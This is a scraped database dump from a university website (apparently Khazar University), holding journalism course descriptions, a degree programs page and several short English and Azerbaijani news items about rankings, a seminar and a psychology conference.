margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 206: Mass Communication Law (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 204, 205</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Brief historical background. First Amendment rights, basic law\r\nof defamation, free press and fair trial, access to news, access to press,\r\nprivacy, contempt, obscenity, regulation of broadcasting and advertising,\r\nantitrust controls, legal and ethical rules affecting journalistic practice.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 207: Reporting (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 203</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Fact gathering and journalistic writing. Problems in judgement\r\nand handling of news and news features.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 208: Publishing and Printing (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 203, 205</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Principles and techniques of publishing and printing on\r\nexperience producing feature newspaper pages, computer designed newsletter and\r\ninformation graphics. Integrating photos, artwork and other graphic elements\r\nwith text and numerical data.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 306: Magazine Writing</strong><strong>&nbsp;</strong><strong>(6 credits)&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 204/JOUR 205</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Writing feature article for general, class, and trade\r\npublications; study of market freelance methods.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 307: Principles of Marketing (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 205, JOUR 306</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Theory, principles, and functions of marketing; its role in\r\neconomic, social, and marketing structure. Newspaper, magazines, radio,\r\ntelevision as advertising media.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 308: History of Azerbaijani Press (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Journalism major and minor</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Evolution of Azerbaijani Press and factors contributing to it.\r\nPeriodization of the History of Azerbaijan Press. Modern Press, its functions\r\nand problems.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 309: Government and Mass Media (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 206</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">News media as institution: its role, content, effects and\r\nresponsibilities as a cultural force in society; origins and concept of freedom\r\nof information and evolution in constitutional law and judicial decisions;\r\ncontemporary problems of censorship in publishing, broadcasting and film.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 310: Genres of Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 101, 102</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Global analysis of internal and external broadcasting services\r\nwith emphasis on their motives, origins, technologies and programming. Special\r\nattention to different genres of journalistic activities.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 312: Computer Assisted Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: CMS 103</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Potential computer application relevant to journalism activities\r\nin Newspaper, Magazine Radio, TV, and Film.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 313: Advanced Reporting Methods (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 307, JOUR 308</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Investigative techniques for the mass media, including\r\nquantitative research methods, use of records and documents, analysis of\r\nstatistics, advanced interviewing, and methods adverse conditions.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 314: Interpretive Reporting (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 306, JOUR 307</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Advanced problems in reporting about government, politics,\r\nsocial problems, and the arts.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 401: Fundamentals of Television and Radio (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 310</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Basics of radio and TV production and direction focusing on\r\nissues raised by recent development in Television and Radio, commercial and\r\npublic issues associated with innovations of satellite, cable and cartridge\r\nsystems, changes in public psychology and behavior.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 403: International Press and Media Networks (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: 9 credits from JOUR 3XX and 4XX courses</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Global analysis of internal and external broadcasting services,\r\nwith emphasis on their motives, origins, technologies and programming. Special\r\nattention to political, economic and regulatory constraints affecting flow of\r\nworld news and public information, organization and controls in the regional\r\nand international networks and information systems.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 404: Press and Broadcasting Management (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: 9 credits from JOUR 3XX and 4XX courses</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Press and Broadcasting Management functions, internal\r\norganizational structure, operational procedure. Business and production\r\nmethods and management in the areas of advertising, business, circulation,\r\neditorial, personnel, production and promotion.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 405: History of Cinematography (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Journalism major and minor</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Historical interdisciplinary and comparative approach to\r\ndevelopment of film in Azerbaijan, Europe, and US from the silent era through\r\nthe Depression. Azerbaijan cinematography. Particular emphasis on\r\ninterrelationship on film with its historical context and social dimensions of\r\nfilm structure, aesthetics, and language.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 406: Television and Radio Program (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 401</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The main problems of Radio and TV programming, business of Radio\r\nand TV programming; commercial, non-commercial, cable and home video. Main\r\nemphasis on several theoretical, research and applied areas.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 407: TV and Radio Speech Culture (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Speech culture as a part of rhetoric. Survey of different types\r\nof speeches, different means of communication skills, metaphors, metanomy,\r\nidioms, proverbs and sayings.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 408 Children’s Rights and Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 101</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">This course learns the children’s rights in Mass Media. Today\r\nthere are many child programs and publishing. But often the rights of children\r\nare broken in different meaning. Media is not only for adults, but also for\r\nchildren. Children are using and take part in different type of Mass Media.\r\nChildren demand more sensible approach than adults. Mass Media and journalist\r\nmust be more attentive to child in media. The course is offered by UNICEF for\r\nsaving the Rights of Children.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 409: Advanced Television News (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 307</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Preparation and delivery of television newscasts. The industry’s\r\ncurrent problems; legal and ethical considerations. Social impact of electronic\r\njournalism.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 411:</strong><strong>&nbsp;</strong><strong>International\r\nMedia and Information Systems</strong><strong>&nbsp;</strong><strong>(6\r\ncredits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">In the ‘International Media and Information Systems’ course it\r\ntakes the main part the reasons of the flowing of information in one-way from\r\ndeveloped countries to developing countries, which had appeared from middle of\r\nthe last century in the international journalism and the ways of solving the\r\nproblem of global information, also the disclosure of the concepts as media\r\nimperialism and culture imperialism, which connected with this theme, the\r\nanalysis of the position of Azerbaijan, as one of the developing countries,\r\nwhich it is effected from non-balanced steam of information.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">At the end of the course, the students will be able to make\r\nindependently analysis of development of all kinds of media (the station of\r\nglobal media, the news agencies, advertising companies and so on), which it has\r\npower of influence in the today’s so-called ‘information society’ and processes\r\ntaking place in the world information system in.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 412: Theory</strong><strong>&nbsp;</strong><strong>and Analysis of</strong><strong>&nbsp;</strong><strong>News (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">‘The Theory and Analysis of News’ course teaches techniques of\r\nthe news analysis based on topics such as the notion of news, the preparation\r\nand transmission of information, as well as the types of news, values of news,\r\nnews writing rules, etc. At the end of the course, the students will be able to\r\ncompare of news taken part in the Mass Media and they will be able to look at\r\nmaintenance of news analytically.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 413: Radio Programming (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The base of the \"Radio Programming\" course consists of\r\npreparation of different radio programs and the comparative analysis of those\r\nprograms, which is used topics such as the place of the radio among mass media\r\nin our country and in the world, modern technical equipment and facilities used\r\nin radio studios, characteristics of radio broadcasting, radio programming and\r\nradio-speaker in past and today, the types and characteristics of the radio\r\nprogram, and etc.</p>  <br></div>'),(961,622,'en','Programs','Programs','<p><strong>Journalism Department</strong></p><p><strong></strong><strong>Bachelor</strong></p><p><strong></strong>The Department of Journalism offers both a Bachelor of Arts and Master of Arts degrees.</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Bachelor_of%20Art_(BA)_in_Journalism.pdf\">Bachelor of Art (BA) in Journalism (Undergraduate Program)</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Bachelor_of%20Art_(BA)_in_Journalism.pdf\"></a></strong>For graduating of Journalism it requires to gather 264 (ECTS) credits with successful grades (not less 60 points).</p><p>Our four-year undergraduate program consists of three options: major in journalism; specialization in journalism; multiplatform specialization in journalism.</p><p>The goal of these programs is to provide students with a professional formation concentrated along two axes. The emphasis in the production workshops – radio and television broadcasting, print and on-line media is on practical skills, with newsroom standards applied to all assignments and activities. As much as possible, students work in \"live\" news situations, covering the same kinds of news events as professional working journalists. Complementing these workshops are the seminars and lecture-based courses which concentrate on the theoretical and analytical dimensions of journalism education, with a particular focus on the social, economic, political and ideological contexts in which journalism is practiced. This blend of theory and practice enables our students to set the foundation for a career in news production, develop skills of critical reflection and grow to understand the complexities and increasing diversity of the society their journalism is intended to serve.</p><p>Students\' course work is complemented by internship opportunities which allow students to gain valuable newsroom experience.</p><p>Writing a Course paper is a constant requirement for all the academic years. The students must be engaged in practice in information agencies, newspapers, journals, television and radio companies.</p><p><strong>&nbsp;</strong></p><p><strong>Master</strong></p><p><strong></strong><strong>International Journalism</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/pdf/Master_of_Art_(MA)_in_Journalism.pdf\">Master of Art (MA) in Journalism</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Master_of_Art_(MA)_in_Journalism.pdf\"></a></strong>This two-year program is intended for students and mid-career journalists who seek a thorough introduction to the theory, the literature and the research methodologies pertaining to the critical-analytical study of journalism as an institution and a practice.&nbsp; It is not intended for students seeking training to become a journalist.</p><p>Students in this program will undertake course work in journalism history, political economy and research methods, with a number of elective choices (e.g., journalism ethics, mediating diversity, international journalism, textual approaches to journalism).&nbsp;Students\' program of study will culminate in a thesis based on original research under the supervision of a qualified faculty member.</p>'),(2132,1311,'az','Xəzər Universiteti əməkdaşının hazırladığı proqrama qrif verildi','Xəzər Universiteti Dillər və mədəniyyətlər kafedrasının dosenti f.ü.f.d. Zivər Hüseynlinin “Əski Azərbaycan yazısı” proqramına Azərbaycan Respublikası Təhsil Nazirliyi tərəfindən nəşr hüququ (qrif) verilmişdir...','<p>Xəzər\r\nUniversiteti Dillər və mədəniyyətlər kafedrasının dosenti f.ü.f.d. Zivər Hüseynlinin “Əski Azərbaycan yazısı”\r\nproqramına Azərbaycan Respublikası Təhsil Nazirliyi tərəfindən nəşr hüququ\r\n(qrif) verilmişdir.</p>\r\n<p>Zivər\r\nHüseynlinin “050101 – Azərbaycan dili müəllimliyi” ixtisası üçün hazırladığı\r\n“Əski Azərbaycan yazısı” adlı fənn proqramı 2016-cı il iyunun 4-də keçirilən Xəzər\r\nUniversiteti Elmi Şurası tərəfindən qəbul edilmiş və nəşr hüququ verilməsi üçün\r\nAzərbaycan Respublikası Təhsil Nazirliyinə təqdim edilmişdir. </p>\r\n<p></p><p>2016-cı il\r\navqustun 3-də həmin proqrama nəşr hüququ (qrif) verilməsi haqqında Azərbaycan\r\nRespublikası Təhsil Nazirliyi tərəfindən əmr verilmişdir</p><p>.</p><p></p>'),(2129,1309,'az','Xəzər Universiteti QS-in dəyərləndirməsinə görə, Azərbaycanda yenə birincidir','Xəbər verildiyi kimi, 2016-cı il sentyabrın 6-da Böyük Britaniyanın “Quacquarelli Symonds” (QS) şirkəti dünya üzrə ali təhsil müəssisələrinin 2016-2017-ci il üçün reytinqini müəyyənləşdirmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər\r\nverildiyi kimi, 2016-cı il sentyabrın 6-da Böyük Britaniyanın “Quacquarelli\r\nSymonds” (QS) şirkəti dünya üzrə ali təhsil müəssisələrinin 2016-2017-ci il üçün\r\nreytinqini müəyyənləşdirmişdir. Nəticələrə əsasən, Xəzər Universiteti Azərbaycan\r\nali təhsil müəssisələri arasında yenə birinci olmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu\r\nhaqda daha geniş məlumatı xəbər saytlarından əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w55852/\">http://yenizaman.az/v5/w55852/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://echo.az/article.php?aid=105188\">http://echo.az/article.php?aid=105188</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://sonxeber.az/23058/uc-ali-mektebimiz-dunyanin-en-yaxsi-universitetleri-siyahisinda\">http://sonxeber.az/23058/uc-ali-mektebimiz-dunyanin-en-yaxsi-universitetleri-siyahisinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://milletinsesi.info/index.php?newsid=15064\">http://milletinsesi.info/index.php?newsid=15064</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w55852/\">http://yenizaman.az/v5/w55852/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://aze.az/news_tri_vysshih_uchebnyh_135609.html\">http://aze.az/news_tri_vysshih_uchebnyh_135609.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://525.az/site/?name=xeber&amp;news_id=63488\">http://525.az/site/?name=xeber&amp;news_id=63488</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://hurriyyet.org/11433-azerbaycanin-uch-ali-mektebi-dunyanin-en-yaxshi-universitetleri-siyahisina-dushub.html\">http://hurriyyet.org/11433-azerbaycanin-uch-ali-mektebi-dunyanin-en-yaxshi-universitetleri-siyahisina-dushub.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mediaxeber.com/news/13259\">http://mediaxeber.com/news/13259</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeberlent.az/index.php?do=xeber_inner&amp;id=19204\">http://xeberlent.az/index.php?do=xeber_inner&amp;id=19204</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gunxeber.com/uc-ali-m%C9%99kt%C9%99bimiz-dunyanin-%C9%99n-yaxsilari-siyahisinda/\">http://gunxeber.com/uc-ali-m%C9%99kt%C9%99bimiz-dunyanin-%C9%99n-yaxsilari-siyahisinda/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://strateq.az/aktual/91064/az%C9%99rbaycanin-3-%C9%99n-reytinqli-universiteti.html\">http://strateq.az/aktual/91064/az%C9%99rbaycanin-3-%C9%99n-reytinqli-universiteti.html</a>;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><span lang=\"AZ-LATIN\" style=\"text-align:justify;text-indent:0.25in;font-size:12pt;line-height:105%;font-family:\'Times New Roman\', serif\">.<a href=\"http://www.bizimyol.info/news/84087.html\" style=\"text-align:justify;text-indent:0.25in\">http://www.bizimyol.info/news/84087.html</a></span><span lang=\"AZ-LATIN\" style=\"text-align:justify;text-indent:0.25in;font-size:12pt;line-height:105%;font-family:\'Times New Roman\', serif\">;</span></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><span style=\"color:#2e74b5;font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\"></span></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><span style=\"color:#2e74b5;font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\"><br></span></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"></p>'),(1608,997,'az','Xəzər Universitetinin inzibati işçiləri  üçün təlim-seminar ','Aprelin 21-də“Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Xəzər Universitetində çalışan və tələbələrlə birbaşa ünsiyyətdə olan inzibatı işçilər üçün təlim-seminar həyata keçirildi.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">Aprelin 21-də“Əlilliyi olan şəxslərin Azərbaycanın\r\nali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı\r\nTempus layihəsi çərçivəsində Xəzər Universitetində çalışan və tələbələrlə\r\nbirbaşa ünsiyyətdə olan inzibatı işçilər üçün təlim-seminar həyata keçirildi. Təlimçi\r\nRima Məmmədova (layihə rəhbəri) iştirakçılara əlillik, onunla əlaqədar olan\r\nqanunvericilik, əlilliyi olan şəxslərlə ünsiyyət və inkluziv təhsil haqqında\r\ngeniş məlumat verdi. R.Məmmədova, həmçinin, ESFİDİP layihəsi və layihə çərçivəsində\r\nyaradılmış “Əlilliyi olan Tələbələr üçün Mərkəz” haqqında məlumat verdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">Tədbir zamanı mövzu ətrafında fikir mübadiləsi\r\naparıldı və iştirakçıların suallarına cavab verildi.</p>'),(1607,996,'en','Azerbaijan’s III International Psychology Conference','On April 23-24, 2016, Azerbaijan’s III International Psychology Conference was held on the Neftchilar campus of Khazar University. It was organized by the university’s Psychology Department and Career Center. ','<p><em>On\r\nApril 23-24, 2016, Azerbaijan’s III International Psychology Conference was\r\nheld on the Neftchilar campus of Khazar University. It was organized by the\r\nuniversity’s Psychology Department and Career Center. Participants included\r\nspecialists and amateurs from various regions of the country. The conference\r\nwas attractive to many participants because of the tightly interwoven practical\r\nand theoretical knowledge it offers. </em></p>\r\n<p><em>On\r\nApril 23, the conference’s official opening was held, including keynote\r\nlectures. On April 24, participants split up into workshops. </em></p>\r\n<p><em>Melek Karimova,\r\nAssistant Dean of the School of Humanities and Social Sciences as well as\r\nDirector of Khazar Psychological Services Center, opened the conference and\r\ngave the floor to </em>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees. Then expert\r\npsychiatrist Ikram Rustamov gave a speech. During the conference, lectures were\r\npresented by local and Turkish guest psychologists and psychiatrists who spoke\r\nabout various areas of psychology. Speakers included Professor 